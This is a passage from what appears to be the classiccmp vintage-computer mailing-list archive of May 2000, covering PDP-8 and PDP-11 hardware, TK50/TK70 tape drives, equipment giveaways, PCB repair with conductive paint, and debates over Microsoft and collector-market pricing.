do is another 4k of core, the 4k I have is not >>quite enough to work in. The alternate is to make a RAM card >>using 32kx8 parts. > >Ooh, two parts and you're done :-). (Sorry, couldn't resist. Of >course most of the cost is getting the gold-plated fingers on the PCB, >in my experience!) Not quite, you still need bus interface and buffering. I havent looked at PDP-8 memory interface to see how and what. I have one or two PDP11 proto/ww cards that with careful cuts for power and ground will work fine for omnibus. The trick is doing battery backup so it also behaves something like core. ;) Allison From ard at p850ug1.demon.co.uk Sat May 6 15:18:31 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:32 2005 Subject: "Investment Grade" Classic Computers In-Reply-To: <20000506.140254.-4053137.0.jeff.kaneko@juno.com> from "jeff.kaneko@juno.com" at May 6, 0 02:02:52 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3277 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/e92db428/attachment.ksh From fmc at reanimators.org Sat May 6 17:00:28 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:51:32 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: Joe's message of "Wed, 03 May 2000 15:11:48 -0500" References: <016c01bfb485$0ab446a0$e0711fd1@default> <3.0.1.16.20000503151148.0a4f407e@mailhost.intellistar.net> Message-ID: <200005062200.PAA04595@daemonweed.reanimators.org> Joe wrote: > >HP Series 100 Communicator Volumes 7-12 (very cool) > > Now those are unusual. I have two volumes but I've never been able to > find any more of them. Where did you find them? HP used to ship the current "Series 100 Communicator" in the box with your new Series 100 (i.e. 120, presumably 125, and 150) computer, or more likely in the box with its keyboard. I don't remember seeing them with 110s or Portable Pluses, but that could just be my defective memory. If you liked it and wanted more you had to buy a subscription. Given that it was mostly filled with new-product announcements for stuff that we either wouldn't use or could ask our sales rep about, and usage tips that weren't especially non-obvious, we didn't bother. -Frank McConnell From af-list at wfi-inc.com Sat May 6 17:36:55 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:51:32 2005 Subject: Some stuff already claimed Message-ID: Hi, To save you some typing, here's what's already spoken for: -> The BASIC Handbook, David Lien -> Problem Solving Principles for Basic Programmers, William Lewis -> Soul of CP/M, Waite -> CP/M Assembly Language Programming, Barbier -> CP/M and the Personal Computer, Dwyer -> CP/M Word Processing -> 68000 Assembly Language Programming, Leventhal Dilog SQ706A QBUS SCSI Card - $25 Emulex TC03 QBUS Pertec Controller - $10 DEC DEQNA Ethernet Card w/cable and manual - $10 DEC RQDX3 w/manual - $10 RT-11 v5.4B on RX50 floppy, complete distro - $10 Cheers, Aaron From healyzh at aracnet.com Sat May 6 17:58:59 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:32 2005 Subject: Equipment Available In-Reply-To: Message-ID: >DEC 11/73 CPU w/FPU - $10 Is this still available? Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From donm at cts.com Sat May 6 18:03:39 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:32 2005 Subject: Swapmeet find In-Reply-To: <200005062200.PAA04595@daemonweed.reanimators.org> Message-ID: At the local swap this morning I picked up a virgin TK70 streaming tape drive. When I say virgin, I mean it is in the shipping carton, is still sealed in an anti-static bag, includes the manual, and also that sheet of 'stickies' to make the meaning of various lights and such meaningful to those who do not understand English. In a discussion of COMPACTape II, it was stated that those tapes were interchangeable with the earlier tapes in the TK50 drives. It was also noted, as has been covered here several times, that if written to by a TK50, the tape was readable by a TK70 but could not be written to by a TK70. This is the first time I have heard that the use of the II tapes in a TK50 was a factory authorized usage. Interesting! Perhaps useful considering the scarcity of the older tapes. Question: Can a TK70 be used as a 'drop-in' replacement for a TK50 in a VAXstation 2000? If so, I would assume that it would NOT record at TK70 density. - don From edick at idcomm.com Sat May 6 18:37:46 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:32 2005 Subject: I wrote 'Nuke Redmond' References: <200005060608.CAA08063@lexington.ioa.net> <000701bfb76e$b7ab36c0$0400c0a8@winbook> <20000506123630.A365@dbit.dbit.com> Message-ID: <003d01bfb7b4$17d207a0$0400c0a8@winbook> Please see embedded comment(s) below. Dick ----- Original Message ----- From: John Wilson To: Sent: Saturday, May 06, 2000 10:36 AM Subject: Re: I wrote 'Nuke Redmond' > On Sat, May 06, 2000 at 09:21:09AM -0600, Richard Erlacher wrote: > > I have to agree that I like > > the Microsoft products, and that's because, unlike the offerings of > > yesteryear, including those from Microsoft, the current generation does seem > > to work quite adequately to meet my requirements. > > Well that works out nicely for you, but for many of the rest of us, M$ > products are designed to solve problems we don't have, and totally fail > to address the problems we *do* have. It's designed for the drooling > masses *only*, it's absolutely not good for normal utility use by nerds. That's because use by nerds is seldom normal. > And even where there's overlap, the design decisions tend to be poor and > the implementation even worse. > You're right, it's not for nerds to play with, it's for normal everyday folks to use in doing useful work, not normally done by nerds. OTOH, there are systems, notably *NIX, intended for use by nerds and almost totally useless for useful work for a number of reasons. Keep in mind, however, that the Win9x stuff is written by nerds. That's why it does some things so awkwardly. These folks aren't required to do useful work with the tools they write. . . It's a shame, actually, and they should be required to work with it on a 1 MHz 386 with 8 MB ram and a 200 MB hard disk. Only after they've done a normal day's work should they be allowed to eat or go to the bathroom. > > I recently installed Win98SE in the hope that it would be more reliable > for web browsing than Win98 was (on my machine, W98 was very flakey about > connecting to the net, and the video driver ignored my settings and always > ran in 640x480x16 mode), but the stupid thing has already locked up the > machine several times while sitting totally idle. This is because you're not installing your video driver correctly. It often means you must delete the driver that appears in "Device Manager" before proceeding. This is often a problem when W9x knows about several versions of the same hardware. That's also why they refer to the common installation mode as "lug-n-pray." It defaults to the lowest common denominator. If you then install the driver precisely written for your version of the hardware in question, it will work fine. If you're off, even by one bit, your're stuck with the lowest common denominator, however. > I feel forced to point out that although the W9x isn't even near to being perfect, it's one heck of a lot better for the "average" home user than any version of *NIX or any other commercially offered OS. The half-day install for OS/2 (admittedly last attempted when OS/2 was new) would certainly discourage these "average" users. Moreover, Win9x wouldn't cost <$100 if it weren't for the fact that the "average" user buys a computer and the software he wants. Not only would Win9x not exist, but if it did exist in spite of the lack of home users, it would cost like VMS. The hardware would cost quite a bit more, too. > > ----- Original Message ----- > [ followed by all 115 lines of a message that you weren't directly replying to ] > > For chrissake!!!!! > > John Wilson > D Bit > From edick at idcomm.com Sat May 6 18:43:21 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:32 2005 Subject: I wrote 'Nuke Redmond' References: <200005060608.CAA08063@lexington.ioa.net> Message-ID: <004501bfb7b4$df7d7280$0400c0a8@winbook> Frankly, I haven't seen anyone running around in circles, except for one fellow who'd indulged in some illegal chemical abuse, on fire or not, nor have I seen anyone's head explode since the war. Perhaps a conclusion could be drawn about the lax attitude people have toward recreational use of chemicals . . . I recognize that a significant number of recreational substance abusers write code for a living. Dick ----- Original Message ----- From: Mike Ford To: Sent: Saturday, May 06, 2000 12:35 PM Subject: Re: I wrote 'Nuke Redmond' > What amazes me still are the people who look out into the streets of real > world MS users and see people running wildly in circles on fire with > exploding heads, then declare that MS isn't so bad. Failure to understand > how and why MS has the market share that they do is also rather sad. What > comes to mind is the poor baby monkey given a surrogate mother made of wire > mesh that delivers strong electric shocks, yet the baby still clings to it. > I am sure it will be looked back on as a curious point in history. > > From pete at dunnington.u-net.com Sat May 6 18:37:36 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:32 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: technoid@cheta.net "Re: HP calculator thermal printheads (HP82143, etc)" (May 6, 11:54) References: <200005061559.LAA04228@lexington.ioa.net> Message-ID: <10005070037.ZM3617@indy.dunnington.u-net.com> On May 6, 11:54, technoid@cheta.net wrote: > In order to make fine traces with Nickel Print conductive paint I used > paper matches. Yeah, the kind you light your Camels with. > > Cut the base of the match off at a 45' angle. This gives you a nice point > and the paper holds enough paint to make a halfway decent brush. They are > only good for a trace or two so have a full pack handy. I find a good-quality No.2 artist's brush (not smaller) will have a very fine point and do an excellent job. > I've used tape to cover the traces but when you peel the tape up you peel > the traces with it. The scalpel approach works pretty well but leaves > ugly traces and is hard to do once the paint is dry. I use the matches > and the scalpel together in real-time so I'm scraping at wet paint. I perhaps have an advantage in that I learnt to retouch photographic negatives (and prints) with a scalpel and retouching brush. PCB traces are easy by comparision. You don't try to scratch through in one go; rather try to gradually pare down to the substrate. > >Ugh, that is exact same thing what I did many times in my retired > >compaq LTE 386s/20 on one of two keyboard cable. Is there a better > >quality kind than this conductive paint I got? Then name one! I don't know what kind you've got :-) The kind I use is silver-loaded, and seems to stick well, and work well. It's made in the U.K. -- Pete Peter Turnbull Dept. of Computer Science University of York From hallsf at alfredtech.edu Sat May 6 20:05:43 2000 From: hallsf at alfredtech.edu (Scott F. Hall) Date: Sun Feb 27 18:51:32 2005 Subject: sun.motherload References: Message-ID: <3914C167.988636E2@alfredtech.edu> Or best offer, I'm sure. angooddr@alfredtech.edu Aaron Christopher Finney wrote: > > $80 each sounds like quite a bit for these machines... From cmcmanis at mcmanis.com Sat May 6 19:18:47 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:32 2005 Subject: Swapmeet find References: Message-ID: <3914B667.AAC65CB6@mcmanis.com> That is quite a find Don! The tapes are interchangable if you bulk erase them first. I've got a bunch of TK50 marked tapes but very few TK70 marked tapes. Willing to trade! And no you can't just drop in the TK70, at least in the Q-bus Vaxen they take different controllers and the cable was a bit different. --Chuck Don Maslin wrote: > > At the local swap this morning I picked up a virgin TK70 streaming tape > drive. When I say virgin, I mean it is in the shipping carton, is still > sealed in an anti-static bag, includes the manual, and also that sheet > of 'stickies' to make the meaning of various lights and such meaningful > to those who do not understand English. > > In a discussion of COMPACTape II, it was stated that those tapes were > interchangeable with the earlier tapes in the TK50 drives. It was also > noted, as has been covered here several times, that if written to by a > TK50, the tape was readable by a TK70 but could not be written to by > a TK70. This is the first time I have heard that the use of the II > tapes in a TK50 was a factory authorized usage. Interesting! Perhaps > useful considering the scarcity of the older tapes. > > Question: Can a TK70 be used as a 'drop-in' replacement for a TK50 in > a VAXstation 2000? If so, I would assume that it would NOT record at > TK70 density. > > - don From cmcmanis at mcmanis.com Sat May 6 19:20:34 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:32 2005 Subject: Computer Value (was Re: value of RK05) References: Message-ID: <3914B6D2.F8AE1BB2@mcmanis.com> [Sorry if I screwed up the subject filters :-)] Several things are being confused here "value", "markets", and "courtesy" Older minicomputers definitely have intrinsic "value" these days, John certainly has sales on his books to indicate that, and we have Ebay showing us what one can expect. Sometimes Ebay and the world is inverted, for example on Ebay you can buy a MicroVAX 4000/60 bare for about $100. Off Ebay you will not find one for less than $250 (I've looked :-). If you find a PDP-8 somewhere you can probably offer less than $800 for it and get it, on Ebay you can't get it for less than $1000. This disparity comes from the condition that the "market" for minicomputers is not "rational." (my terms but I'll define them) A rational market is one in which all potential buyers have visibility to all potential sellers. Thus, buyer demand pushes prices up, seller competition pushes prices down. The net result is the "fair market value" for something. Rational markets exist when some external force constrains the buyers and sellers and information about the market is widespread. For example you can only trade stocks on a stock exchange, everyone knows that, and thus all buyers and sellers "meet" in a single market. Computers are not so fortunate, in an irrational market buyers are not aware of other sellers who might have lower prices so prices can be artificially "high", and sellers might not know of other buyers so prices can be artificially "low." Ebay is "irrational" in this definition. Fair enough? Then there is something else entirely, its called courtesy. (or "good will") Amongst like minded individuals, humans form communities, this is one and its common theme is 10+ year old computer technology. Within a community transactions take place and they have two components, "money" and "good will." If I give someone on the list a PDP-8 then no money has changed hands but hopefully a lot of good will has, perhaps that person will reciprocate at some later date by supplying something I could really use. "Friends" can and often do exchanges that are entirely good will based (even when there is money involved, as in "I'll buy lunch this time, you get it next time.") So if we want to characterize the social aspects of this we can define two poles. On one end we have a person with whom your transactions are all "good will", we will call that person your friend. On the other end we have a person with whom your transactions are all "money", we will call that person a vendor. There are friends and vendors on this list and some folks somewhere in the middle. It makes no sense to take issue with John if he wishes to transact his business in all cash. That makes him a pure vendor. And the nice thing about vendors is that you don't "owe" them anything after all and if you turn around and resell what you got for a huge profit then there is no issue. Just as it doesn't make sense to feel "sorry" for someone who gives away a minicomputer to someone who could appreciate it. There currency is less tangible but in the long run more valuable. Finally, as a caretaker of machines I do appreciate that some of my machines have "real" value, but I don't seem them as an investment. To a vendor the "value" out weighs the potential good will within those machines. There is no right answer, and more importantly everyone is a vendor sometimes and a friend at other times. Lets just see if we can keep as much of this hardware out of the shredder as possible ok? --Chuck From mrbill at mrbill.net Sat May 6 19:26:54 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:51:32 2005 Subject: PDP-11 parts/cards available Message-ID: <20000506192654.W29395@mrbill.net> I've got the following assortment of PDP-11 boards and CPUs that have been sitting around for a couple of months; I'd like to see them go to a good home. Trades preferred, altho I'm not looking to get much out of these, just would like to see them being used somehow. Marked on handle: Other markings/desc: ----------------------------------------------- M7270 KD11-H LSI-11 CPU 18-bit M7270 KD11-H LSI-11 CPU 18-bit M7270 KD11-H LSI-11 CPU 18-bit M8186 KDF11-AA 11/23 single board with MMU M8186 KDF11-AA 11/23 single board with MMU M9400-YE REV11-C 240ohm terminator, cable connector M9401 (connected to M9400 with ribbon cable) M8013 RLV11 RL01 disk drive controller (1 of 2) M8014 RLV11 RL01 disk drive controller (2 of 2) I've got some other cards as well, but this is all I can find for now. If anybody's interested in these, please let me know. Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From lemay at cs.umn.edu Sat May 6 19:42:06 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:32 2005 Subject: sun.motherload In-Reply-To: <3914C167.988636E2@alfredtech.edu> from "Scott F. Hall" at "May 6, 2000 08:05:43 pm" Message-ID: <200005070042.TAA21909@caesar.cs.umn.edu> > Or best offer, I'm sure. angooddr@alfredtech.edu > > Aaron Christopher Finney wrote: > > > > $80 each sounds like quite a bit for these machines... > Put them out in the hallway. If the students dont get the clue, then put a sign up saying 'free - but must take off-campus'. Trust me, its the best way to avoid paying for someone to ship them to a recycling center, and then pay the fee to have the stuff recycled. Especially monitors. If you look at it the right way, what your objective really should be, is to avoid having to pay to dispose of hazardous waste... -Lawrence LeMay From mrbill at mrbill.net Sat May 6 19:47:57 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:51:32 2005 Subject: PDP-11 parts/cards available In-Reply-To: <20000506192654.W29395@mrbill.net>; from mrbill@mrbill.net on Sat, May 06, 2000 at 07:26:54PM -0500 References: <20000506192654.W29395@mrbill.net> Message-ID: <20000506194757.Z29395@mrbill.net> On Sat, May 06, 2000 at 07:26:54PM -0500, Bill Bradford wrote: > M7270 KD11-H LSI-11 CPU 18-bit > M7270 KD11-H LSI-11 CPU 18-bit > M7270 KD11-H LSI-11 CPU 18-bit > M8186 KDF11-AA 11/23 single board with MMU > M8186 KDF11-AA 11/23 single board with MMU > M9400-YE REV11-C 240ohm terminator, cable connector > M9401 (connected to M9400 with ribbon cable) > M8013 RLV11 RL01 disk drive controller (1 of 2) > M8014 RLV11 RL01 disk drive controller (2 of 2) All of these are now spoken for, going to a very good home. (that was quick - before I even got this post back from the list!). Thanks. -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From eric at brouhaha.com Sat May 6 19:58:37 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:32 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <20000507005837.24989.qmail@brouhaha.com> > The 82143 is also about the least valuable unit to use a suitable > printhead, so there's little point in buying some other unit (like an > 82162) to strip for parts. And non-working 82143s (etc) invariably have > printhead problems :-( I'm willing to buy non-working HP 82143A printers, if anyone has extras. From healyzh at aracnet.com Sat May 6 20:05:41 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:33 2005 Subject: Swapmeet find In-Reply-To: References: <200005062200.PAA04595@daemonweed.reanimators.org> Message-ID: >Question: Can a TK70 be used as a 'drop-in' replacement for a TK50 in >a VAXstation 2000? If so, I would assume that it would NOT record at >TK70 density. > > - don I'm afraid not, you need a different controller for a TK70, and you don't have the option with a VS2000. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From pechter at pechter.dyndns.org Sat May 6 20:10:23 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:33 2005 Subject: [KULUA] Nightline (fwd) In-Reply-To: <20000505155912.C30766@dbit.dbit.com> from John Wilson at "May 5, 2000 03:59:12 pm" Message-ID: <200005070110.VAA07388@bg-tc-ppp670.monmouth.com> > It's too bad the net has turned into such an appliance. In the old days, > each site often implemented their own TCP/IP stack and SMTP/FTP/etc. servers > from scratch, so even if they had security flaws they weren't well-known. > Returning to that might have some advantages ... I know someone who munged > in a fake version banner in his wu.ftpd just so the crackers would be more > likely to leave him alone, worth a shot! > > John Wilson > D Bit > > You mean like the following... BTW -- if FreeVMS ever comes out in intel this box will run it. Right now it's just FreeBSD 4.0-STABLE. telnet i4got Trying 199.245.130.131... Connected to i4got.pechter.dyndns.org. Escape character is '^]'. FreeVMS 0.9 (i4got.pechter.dyndns.org) (ttyp2) Username: Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From stanp at storm.ca Sat May 6 20:14:19 2000 From: stanp at storm.ca (Stan Pietkiewicz) Date: Sun Feb 27 18:51:33 2005 Subject: the latest virus References: Message-ID: <3914C36B.A0BCB594@storm.ca> Gary Hildebrand wrote: > Hello, friends > > the pranksters strike again . . . > > Makes me appreciate havimg my Amiga. > > Gary Hildebrand Don't laugh... I still appreciate my AMD 5x86-133 running msdos 6.22 and WfWg 3.11..... Defiinitely and IE-free zone!!!! :-}) Stan From jpero at cgocable.net Sat May 6 16:37:57 2000 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <003d01bfb7b4$17d207a0$0400c0a8@winbook> Message-ID: <200005070132.e471Wqr16115@admin.cgocable.net> > From: "Richard Erlacher" > To: > Subject: Re: I wrote 'Nuke Redmond' > Date: Sat, 6 May 2000 17:37:46 -0600 > Reply-to: classiccmp@classiccmp.org > Please see embedded comment(s) below. Ditto look at comments I made. Wizard > > Dick > ----- Original Message ----- > From: John Wilson > To: > Sent: Saturday, May 06, 2000 10:36 AM > Subject: Re: I wrote 'Nuke Redmond' snip > > > > > Well that works out nicely for you, but for many of the rest of us, M$ > > products are designed to solve problems we don't have, and totally fail > > to address the problems we *do* have. It's designed for the drooling > > masses *only*, it's absolutely not good for normal utility use by nerds. > > That's because use by nerds is seldom normal. Let me switch this comments around: Nerds usually know what they doing correctly with common sense. The people out in the wild usually breaks M$ stuff because it has too much ways to happen. Like Allison's comments about user space kept away from OSes and this limits the blowups if a typical user make an miss is spot on. Best devices are those very limited functions that does their intended functions and no more. Examples: electronic reminder and scheduler devices with personal data like birthdays, appts etc. Another one that would do very well are web surfer, i-opener, email devices such as Vtech w/modem built in and like for common users. What is missing is real innvoative user-interface (ala i-opener style) for office applications and hide the OS and be Untouchable. win9x is more suitable for users who should know bit more clueful with common sense to get help and not like "mmm, try this one?" like Mr Simpson would do and push a button. Boom! win9x, Unices, Vaxens, Linux is more of nerd's dormain and clueful users who know better to call for help first if some kind of problems becomes out of their depth understanding how to deal with it. I find NT more of configuring and using without enough understanding and things go bump in the night often, tons of BODs and kernel dumps. I find this takes full understanding how hardware interacts with this NT and use software drivers correctly to make sure it's reliable enough. Also doing configurations in software especially in networking stuff takes lot of understanding because I find reading the wood ludicious especially without looking at whole picture why OS or software barfed. Probs I find are: with hardware mis-configuration and shoddy installation, 4/10 of that in software or sloppily written drivers and/or software, 1/10th of that in true hardware failures flaking out and low quality hardware parts or wrong type used for given OS. > > I recently installed Win98SE in the hope that it would be more reliable > > for web browsing than Win98 was (on my machine, W98 was very flakey about > > connecting to the net, and the video driver ignored my settings and always > > ran in 640x480x16 mode), but the stupid thing has already locked up the > > machine several times while sitting totally idle. Check that "power management" and cooling, insure memory is good. Even top of 1 grand dollars Diagnostic stuff aka the best of world will not detect this. I know, because I fixed few times like this and had to rely on softwares and good working hardware to cause DUT to act up and alteratively turn off and on one settings in bios one at a time to flush out the problem. Had to do that on a motherboard using win9x and bunch of games, sound card. This problem finally solved it by swapping out pair of soldered 512K pipelined cache chips. When I turned off that faulty cache part in bios, everything went plum and sweet, got even better when CORRECT part got replaced. Even the unmanageable IRQs got shifted when I toggle certain parts in bios menu. Many didn't realize the power of managing this by this route. > This is because you're not installing your video driver correctly. It often > means you must delete the driver that appears in "Device Manager" before > proceeding. This is often a problem when W9x knows about several versions > of the same hardware. That's also why they refer to the common installation > mode as "lug-n-pray." It defaults to the lowest common denominator. If you > then install the driver precisely written for your version of the hardware > in question, it will work fine. If you're off, even by one bit, your're > stuck with the lowest common denominator, however. Any hardware drivers not just for video no matter what. Once in awhile drivers breaks or win 9x actually lost a soundcard, happened to me few times before and two programs didn't give any errors other than both refused to start which deepens the mystery till I check DM. > I feel forced to point out that although the W9x isn't even near to being > perfect, it's one heck of a lot better for the "average" home user than any > version of *NIX or any other commercially offered OS. The half-day install > for OS/2 (admittedly last attempted when OS/2 was new) would certainly > discourage these "average" users. Moreover, Win9x wouldn't cost <$100 if it > weren't for the fact that the "average" user buys a computer and the > software he wants. Not only would Win9x not exist, but if it did exist in > spite of the lack of home users, it would cost like VMS. The hardware would > cost quite a bit more, too. > @100 bux is upgrade version for any 9x always. Ones that is true version without buying a computer or certain items is over $300. And another way is to buy whole new system which is too much for me. That is why I'm angry at M$. And still running on 95a upgrade version. Wizard From jpero at cgocable.net Sat May 6 16:50:16 2000 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:51:33 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: <10005070037.ZM3617@indy.dunnington.u-net.com> References: technoid@cheta.net "Re: HP calculator thermal printheads (HP82143, etc)" (May 6, 11:54) Message-ID: <200005070145.e471jAr21459@admin.cgocable.net> > > >Ugh, that is exact same thing what I did many times in my retired > > >compaq LTE 386s/20 on one of two keyboard cable. Is there a better > > >quality kind than this conductive paint I got? Then name one! > > I don't know what kind you've got :-) The kind I use is silver-loaded, and > seems to stick well, and work well. It's made in the U.K. To all curious who wondered I had bad time with this stuff. This one is "Circuit Works, conductive pen" by Planned products. Address: 303 Potrero Street Suite 53 Santa Cruz, CA 96060 The address might be wrong bec of hard to read it bec of label aging. And that was from JDR. Wizard > -- > > Pete Peter Turnbull > Dept. of Computer Science > University of York From allisonp at world.std.com Sat May 6 19:52:18 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:33 2005 Subject: Equipment Available Message-ID: <00f001bfb7bf$076613b0$7464c0d0@ajp166> If you still have it, I'd love to have this one. >Programming in Assembly Language: Macro-11, Sowell Allison From jpero at cgocable.net Sat May 6 17:00:50 2000 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:51:33 2005 Subject: the latest virus In-Reply-To: <3914C36B.A0BCB594@storm.ca> Message-ID: <200005070155.e471tir26835@admin.cgocable.net> > Date: Sat, 06 May 2000 21:14:19 -0400 > From: Stan Pietkiewicz > To: classiccmp@classiccmp.org > Subject: Re: the latest virus > Reply-to: classiccmp@classiccmp.org > > Hello, friends > > > > the pranksters strike again . . . > > > > Makes me appreciate havimg my Amiga. > > > > Gary Hildebrand > > Don't laugh... I still appreciate my AMD 5x86-133 running msdos 6.22 and > WfWg 3.11..... Defiinitely and IE-free zone!!!! :-}) > > Stan Stan, anyone even you with that same configuration can still and will get hit by a bug if downloaded and run by mistake. That is why I like pegasus mail more especially for less clueful people. Yet powerful enough and sensible wordings but users can understand what it does. I got lost or confused because of incorrect wording, meanings and how one route through maze of menus in certain ways and in proper order in for example Outbox. Peagasus let you do it in any order and different ways. Cheers Wizard From jfoust at threedee.com Sat May 6 21:31:59 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:51:33 2005 Subject: Computer Value (was Re: value of RK05) In-Reply-To: <3914B6D2.F8AE1BB2@mcmanis.com> References: Message-ID: <4.3.0.20000506212759.0197e950@pc> Apart from people freaking out about eBay, I think the classic computer hobby is doing fine. More people than ever realize that there are weirdos out there who'd be glad to pick up their old computers. The Net is screwing up all sorts of markets. For example, I'm doing some consulting for a pottery business. They're not small, roughly $8M a year. They have thousands of dealers who buy at 50% of retail and sell in their real-world shops. One of them has figured out eBay. They buy at dealer price, put the item on eBay and generally get retail price *or more*. That's like taking $1 today and turning it into $2 a week from now, and being able to do it again and again. RK05s? I bought five RL02 disk packs the other day for $2 each. I see they're going for $30 on eBay. I'll use the proceeds to fund other bad habits. - John From mikeford at socal.rr.com Sat May 6 21:44:29 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <20000506185934.48228.qmail@hotmail.com> Message-ID: >There's only one reason that MS has the market share they do, and it's quite >simple: IBM. It works like this; 1)IBM comes up with the PC. 2)Asks MS to MS has the market share it has by targeting competition and ruthless use of its monopoly powers, seconded only by a long string of defective products requiring expensive software updates that fueled a marketing warchest unprecidented in human history. Paul Allen said it himself, "nobody ever guessed the obscene profits possible from upgrades." This is the sickest aspect of the whole computer industry, ALL of the companies that made fairly good reliable products went under from the flood of dollars the BAD heavily marketed software generated via updates. Its a bleeping cynics playground. From mikeford at socal.rr.com Sat May 6 21:30:49 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:33 2005 Subject: value of RK05 In-Reply-To: References: from "Mike Ford" at May 6, 0 02:41:44 am Message-ID: >> value. So many people are willing to buy junk and "hope" it works, or that >> they can fix it, it just isn't funny. There is also a BIG difference in the > >Actually, I am more than happy to buy 'junk' (meaning non-working, but >repairable hardware). > >Fixing the units is half the fun IMHO. And I mean really fixing them by >tracking down the faults and replacing whatever's failed. Not kludging >about until it almost works. Sure talk the talk, but when it comes to a little microscopic aluminum welding its a different tune. ;) From mikeford at socal.rr.com Sat May 6 22:01:39 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:33 2005 Subject: "Investment Grade" Classic Computers In-Reply-To: <20000506.140254.-4053137.0.jeff.kaneko@juno.com> Message-ID: >I'm faced with a dilemma, and I'm polling for opinions. > >The dilemma is this: A friend of mine has such an >"Investment Grade" machine; and he wants to sell it to >the highest bidder . Now I'm faced with two As much as I like everybody on this list, and would be willing to do many things for them both individually and collectively, you have an obligation to your friend that is stronger, and I think requires you to both observe his wishes and attempt to guide him in the direction of his own enlightened self interest. If you think selling an item at a moderate price to a list member is somehow more satisfying than selling it on the open market at the full fair price, I respectively disagree. When I sell on the open market, for the most part I enable someones dream at a price they never dreamed of being so low. When I sell at a reduced price to a list member, they are handed a part they dreamed of hunting and finding much cheaper. There are a number of things I would really like to find, paying perhaps as much as $50 for a single Mac card (yeah I know, just peanuts to you high rollers), but the ONLY satisfying way I will ever get one is to dig it out of some box and haggle my way from $5 down to $3. Who wants to go hunting cows at a dairy? Go sell that cow at the auction. From wmsmith at earthlink.net Sat May 6 22:43:01 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:51:33 2005 Subject: I wrote 'Nuke Redmond' References: Message-ID: <00ae01bfb7d6$588bbb20$9d9fb2d1@Smith.earthlink.net> > MS has the market share it has by targeting competition and ruthless use of > its monopoly powers That is backwards. The law, and common sense, requires that you already have to have significant market share to have monopoly power. Monopoly power is the ability to control prices and exclude competition by virtue of monopoly power. To me, the question is, how did MS achieve that power in the first place. There is no doubt that once they had the power they abused it -- that is what the DOJ's case is all about. But it seems to me that they must have done something "right" to get the power in the first place, such as Windows 3.1 or some such. When you don't have monopoly power, targeting competition is not only not illiegal, it's what the free market encourages because that's what USUALLY benefits consumers in the long run. From whdawson at mlynk.com Sat May 6 22:57:28 2000 From: whdawson at mlynk.com (Bill Dawson) Date: Sun Feb 27 18:51:33 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <200005062200.PAA04595@daemonweed.reanimators.org> Message-ID: <001b01bfb7d8$5ca06e20$a5e3dfd0@cobweb.net> -> Joe wrote: -> > >HP Series 100 Communicator Volumes 7-12 (very cool) -> > -> > Now those are unusual. I have two volumes but I've never been able to -> > find any more of them. Where did you find them? Joe, Since you are a member of this list also, perhaps you will see this message and contact me about the purchase I made of the Millennium MicroSystem Analyzer from you on eBay on April 9th. I haven't heard from you since April 10th when you wrote "it will probably be Thursday before I can get back in touch with you." This was concerning the cost of shipping. I haven't heard from you and I've been trying to contact you . Perhaps my emails are not reaching you? To all, FYI I have sent Joe several emails since the 19th of April, with no replies forthcoming, and I even called his home the other day and left my phone number and a message on his 